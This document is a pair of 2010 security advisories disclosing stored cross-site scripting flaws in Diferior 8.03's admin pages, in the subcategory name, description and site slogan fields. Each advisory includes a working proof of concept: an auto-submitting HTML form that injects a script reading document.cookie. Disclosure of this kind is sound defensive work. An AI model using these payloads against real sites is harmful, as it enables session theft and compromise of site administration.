Diferior 8.03 Cross Site Scripting

`======================================  
Vulnerability ID: HTB22722  
Reference: http://www.htbridge.ch/advisory/cross_site_scripting_vulnerability_in_diferior.html  
Product: Diferior  
Vendor: Povilas Musteikis ( http://www.diferior.com/ )   
Vulnerable Version: 8.03 and probably prior versions  
Vendor Notification: 25 November 2010   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "views/admin.php" script to properly sanitize user-supplied input in "subcatname" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/admin/forum/create_sub.html" method="post" name="main">  
<input type="hidden" name="cat" value="1">  
<input type="hidden" name="subcatname" value='subname"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="description" value='description"><script>alert(document.cookie)</script>'>  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
======================================  
Vulnerability ID: HTB22720  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_diferior.html  
Product: Diferior  
Vendor: Povilas Musteikis ( http://www.diferior.com/ )   
Vulnerable Version: 8.03 and probably prior versions  
Vendor Notification: 25 November 2010   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "views/admin.php" script to properly sanitize user-supplied input in "slogan" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/admin/site/2.html" method="post" name="main">  
<input type="hidden" name="title" value="Site Title">  
<input type="hidden" name="slogan" value='Powered by Diferior"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="timezone" value="GMT">  
<input type="hidden" name="cron" value="php">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
`